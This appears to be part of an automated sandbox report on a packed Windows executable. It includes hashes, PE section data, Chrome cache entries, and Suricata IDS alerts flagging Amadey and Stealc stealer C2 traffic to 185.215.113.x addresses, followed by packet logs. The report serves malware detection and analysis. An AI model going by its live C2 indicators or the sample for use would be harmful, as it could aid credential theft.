SHA-512:	8757009C14FA345D948507D82771981AD7914735AD8223FA185053D2A4050DA8357D9B8F7D987BE3CDB165517E178275B46C75C0421FC8D03821309ACC268630
Malicious:	false
Preview:	.......>...D.:..._.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 479

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3561)
Category:	downloaded
Size (bytes):	3566
Entropy (8bit):	5.844297314958933
Encrypted:	false
SSDEEP:	96:4R8liBIN6666V5xCuuJCd5j75aniS86ACRw+erMAQk9Gfffffo:tLN6666VBd5jQnilSG+erpQk9V
MD5:	10343667804B3132AC69B13E6C703FE9
SHA1:	1121B978E4A5118D0E12F01760729DDEDFC874CB
SHA-256:	1E8690ECD12E1332A5EC9B7CBAE84A588E26FFB3EF9BFD80BE43ECCE799D54C7
SHA-512:	99BBBD806166786D5C680B20EA6A0B093BB15529D0A523E8ECBDD19183C33FA3BC98382B5964725EDA8738441215BAACBB7009BF2E4F2C009F9FF28C2B0BA2C4
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["giannis antetokounmpo","shiba inu crypto","release date gta 6","43 monkeys escaped south carolina","interstellar imax 10th anniversary","snow storm weather forecast colorado","ps5 pro games","buffalo bills vs colts"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"CgovbS8wcGRuajdoEiBHcmVlay1OaWdlcmlhbiBiYXNrZXRiYWxsIHBsYXllcjL3DmRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWJBQUFDQXdFQkFRQUFBQUFBQUFBQUFBQUdCd0lFQlFNSUFQL0VBRFlRQUFFREF3QUhCZ1FFQndBQUFBQUFBQUVDQXdRQUJSRUdCeElUSVRGUkZDSkJZWEdCa2FHeHdSWWpNa0lWTTFLQzBkTGgvOFFBR1FFQUFnTUJBQUFBQUFBQUFBQU

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	174097
Entropy (8bit):	5.554845848492248
Encrypted:	false
SSDEEP:	3072:49GysOAIZQy3ZZb6L5BfizRURkgq3ocEs7BB19HDKDSfEISlCMDyQhnF/VU9cpar:49G3IZP3ZZmHfiz+R7q3ocV7BB19HDKq
MD5:	292ACC11525E24B0501DEAC4EB7B61D4
SHA1:	4840E1B06489D1210E25C620AC0E4DEA33F4A574
SHA-256:	A5CB759FC6BF64DD1E35731C88899928B098A359EFF9CA5B34B91F23ADE02C2B
SHA-512:	FBDB4B2B4B647F734B6E05D0495CE1135E9536D611BC567A3B47353FEC986B92412153C214EFE776BC6391239076B3DA6B79851C8BE036C00E4AD026F88CC683
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.ciOLm-Jy21Y.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvi2-a6fPowp_OrDQczHs8e8wA2zQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.ej=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var fj,gj,ij,lj,oj,nj,hj,mj;fj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};gj=function(){_.Ka()};ij=function(){hj===void 0&&(hj=typeof WeakMap==="function"?fj(WeakMap):null);return hj};lj=function(a,b){(_.jj\|\|(_.jj=new hj)).set(a,b);(_.kj\|\|(_.kj=new hj)).set(b,a)};.oj=function(a){if(mj===void 0){const b=new nj([],{});mj=Array.prototype.concat.call([],b).length===1}mj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.pj=function(a,b,c){a=_.zb(a,b,c);return Array.isArray(a)?a:_.Kc};_.qj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.rj=function(a,b){a===0&&(a=_.qj(a,b));return a\|1};_.sj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.tj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.xj=function(a,b,c,d,e,f,g){const h=a.ha;var k=!!(2&b);e=k?1:e;

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133705
Entropy (8bit):	5.433184301245187
Encrypted:	false
SSDEEP:	1536:i7C/VNgR7Yp+GhGLhJgJoamyeX43zGiJsKtPLx8OF97f4qlgdCFlOve2dzAcJ82O:fk7vhSJjxeX431PBLx8OF9j7Ysci2i6o
MD5:	141033A1A52550197FEB04413ABE48D6
SHA1:	1E5B8005D0A80AEBCC0B1BC724EF72E1BE1A5309
SHA-256:	7AC055C663D637BFD96F727A76A143D7A221E59843ECB1C9D43F29BEA7730018
SHA-512:	53D71CB540223231E5C1B735FC7367A5F3694B644EC13FF213BAC742C744DE76184D73E97B0EA8C46A6DD9D77127F816667E400C1B522B570362522953662EFF
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.gyN29IQRsEA.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTthb_7uL8fi0CBKDba3xi6R0PUU9w"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946370173899151
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'832'960 bytes
MD5:	1364833e77a5703be6d3c537778b17bd
SHA1:	ee5a0a1de17173e7c798ee508a8d9f750b32fd6b
SHA256:	94b42dc4b8a894705aa242783aa03dfbe46ff28fc89aeeb604d4df8082884109
SHA512:	ba850b68e0edb8b768e9b997f05a46a3a35c20c1b68e9d304916bdf413fcf729e0d34ea8096fbe87a2198514cf27826febf14a2d448df380d9cd51f242a31660
SSDEEP:	49152:kwEoKgHTYKYZgGOuMI56Fu0MU98lYtcT3aS:kwhH35I0MU9uP
TLSH:	65853374AF43C6E8C248CE33469F646CEA7CEDA192D7815EE249A4B70863FC446D3E15
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDDF105ADAAh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	0be5f568e70f629fc24980c09cacec5f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b3000	0x200	1756c7ec588a0d9ad28ee88a78e9ad51	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vqawkyna	0x4ff000	0x1a6000	0x1a5c00	1a3629aed4403d582c4d409f088340f8	False	0.9945632039122703	data	7.954244151625615	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hosvpicv	0x6a5000	0x1000	0x400	2642cd37ab6c8f459a7def0150ff349b	False	0.7783203125	data	6.067013454214607	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a6000	0x3000	0x2200	1637c771a1e3117e3e4e0c6cba2f121c	False	0.062270220588235295	DOS executable (COM)	0.8181897271949536	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-09T22:09:07.507166+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	50130	TCP
2024-11-09T22:09:16.084474+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-09T22:09:16.386571+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-09T22:09:16.407618+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-09T22:09:16.679784+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-09T22:09:16.686580+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-09T22:09:18.490554+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-09T22:09:19.469557+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-09T22:09:29.764427+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.5	49715	TCP
2024-11-09T22:09:42.581330+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49813	185.215.113.206	80	TCP
2024-11-09T22:09:45.871854+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49813	185.215.113.206	80	TCP
2024-11-09T22:09:47.808219+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49813	185.215.113.206	80	TCP
2024-11-09T22:09:48.857667+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49813	185.215.113.206	80	TCP
2024-11-09T22:09:51.131687+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49813	185.215.113.206	80	TCP
2024-11-09T22:09:51.703281+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49813	185.215.113.206	80	TCP
2024-11-09T22:09:55.705202+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49975	185.215.113.16	80	TCP
2024-11-09T22:10:09.152302+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.5	50053	TCP
2024-11-09T22:11:05.145915+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50127	185.215.113.43	80	TCP
2024-11-09T22:11:12.601370+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50131	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 9, 2024 22:09:07.507165909 CET	49675	443	192.168.2.5	23.1.237.91
Nov 9, 2024 22:09:07.507167101 CET	49674	443	192.168.2.5	23.1.237.91
Nov 9, 2024 22:09:07.600889921 CET	49673	443	192.168.2.5	23.1.237.91
Nov 9, 2024 22:09:14.880237103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:14.885234118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:14.885309935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:14.885704994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:14.890487909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:15.781399012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:15.781486034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:15.795146942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:15.800028086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.084218979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.084474087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:16.109276056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:16.114228964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.386468887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.386511087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.386524916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.386570930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:16.386616945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:16.402777910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:16.407618046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.679692030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.679716110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.679728985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.679773092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.679780006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.679784060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:16.679792881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.679841042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:16.679903030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.679955959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:16.680100918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.680150032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:16.681652069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:16.686579943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.958539963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.958678007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:16.988718033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:16.988818884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:16.994122982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.994139910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.994160891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.994170904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.994180918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.994185925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.994195938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:16.994214058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:17.116450071 CET	49675	443	192.168.2.5	23.1.237.91
Nov 9, 2024 22:09:17.116487980 CET	49674	443	192.168.2.5	23.1.237.91
Nov 9, 2024 22:09:17.210216045 CET	49673	443	192.168.2.5	23.1.237.91
Nov 9, 2024 22:09:18.490504980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:18.490554094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:18.490708113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:18.490746975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:18.490775108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:18.490816116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:18.958806992 CET	443	49703	23.1.237.91	192.168.2.5
Nov 9, 2024 22:09:18.958949089 CET	49703	443	192.168.2.5	23.1.237.91
Nov 9, 2024 22:09:19.194493055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:19.199537992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.469419956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.469439030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.469450951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.469459057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.469527006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.469538927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.469549894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.469557047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:19.469567060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.469580889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.469615936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:19.470385075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.470396996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.470408916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.470446110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:19.470462084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:19.621277094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.621294975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.621313095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.621326923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.621340036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:19.621352911 CET	80	49704	185.215.113.206	192.168.2.5
